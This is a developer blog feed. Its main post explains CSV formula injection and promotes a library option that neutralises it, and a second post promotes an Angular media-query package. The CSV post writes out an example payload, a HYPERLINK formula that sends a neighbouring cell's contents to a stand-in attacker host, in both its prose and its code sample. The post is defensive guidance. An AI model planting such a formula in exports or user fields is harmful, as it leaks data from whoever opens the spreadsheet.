DEV Community: Myroslav Martsin

[Boost]

Myroslav Martsin — Thu, 18 Jun 2026 16:31:54 +0000

Myroslav Martsin

Jun 18

The CSV export vulnerability you probably have (and a one-line fix)

#security #typescript #javascript #webdev

1 min read

The CSV export vulnerability you probably have (and a one-line fix)

Myroslav Martsin — Thu, 18 Jun 2026 16:30:51 +0000

You let users export data to CSV. They open it in a spreadsheet. A cell runs a formula. That is CSV injection, and most export endpoints have it.

Any cell starting with =, +, -, @, a tab, or a carriage return is treated as a formula. An attacker-controlled name like =HYPERLINK("http://evil.com?x="&A1) then runs on open and leaks a neighboring cell. The CSV is perfectly valid, so escaping commas does nothing here.

The fix is to prefix formula-leading cells. csv-pipe has it built in:

import { stringify } from 'csv-pipe';

const rows = [{ name: '=HYPERLINK("http://evil.com?x="&A1)', note: 'attacker' }];

stringify(rows, { sanitizeFormulas: true });
// name,note
// "'=HYPERLINK(""http://evil.com?x=""&A1)",attacker

The leading ' makes the spreadsheet show the cell as text instead of running it (the doubled quotes are normal CSV escaping). It only touches string and array cells; numbers and dates are left alone.
Turn it on for any export of untrusted data.

csv-pipe is a small, zero-dependency CSV library that encodes and parses, both directions typed and streaming, with this guard built in.

[Boost]

Myroslav Martsin — Mon, 17 Nov 2025 19:50:13 +0000

With CSS media queries, hidden doesn’t mean inactive.

Myroslav Martsin ・ Nov 14

#angular

With CSS media queries, hidden doesn’t mean inactive.

Myroslav Martsin — Fri, 14 Nov 2025 21:41:07 +0000

The component still renders, runs lifecycles, and keeps subscriptions alive.
All that background logic quietly eats memory and slows your app down.

NGX-MQ solves the problem.
Signal-based media queries that prevent rendering before it starts — nothing runs unless it truly matters.

Give it a try — your app will thank you! 🚀

npm: https://www.npmjs.com/package/ngx-mq
GitHub: https://github.com/martsinlabs/ngx-mq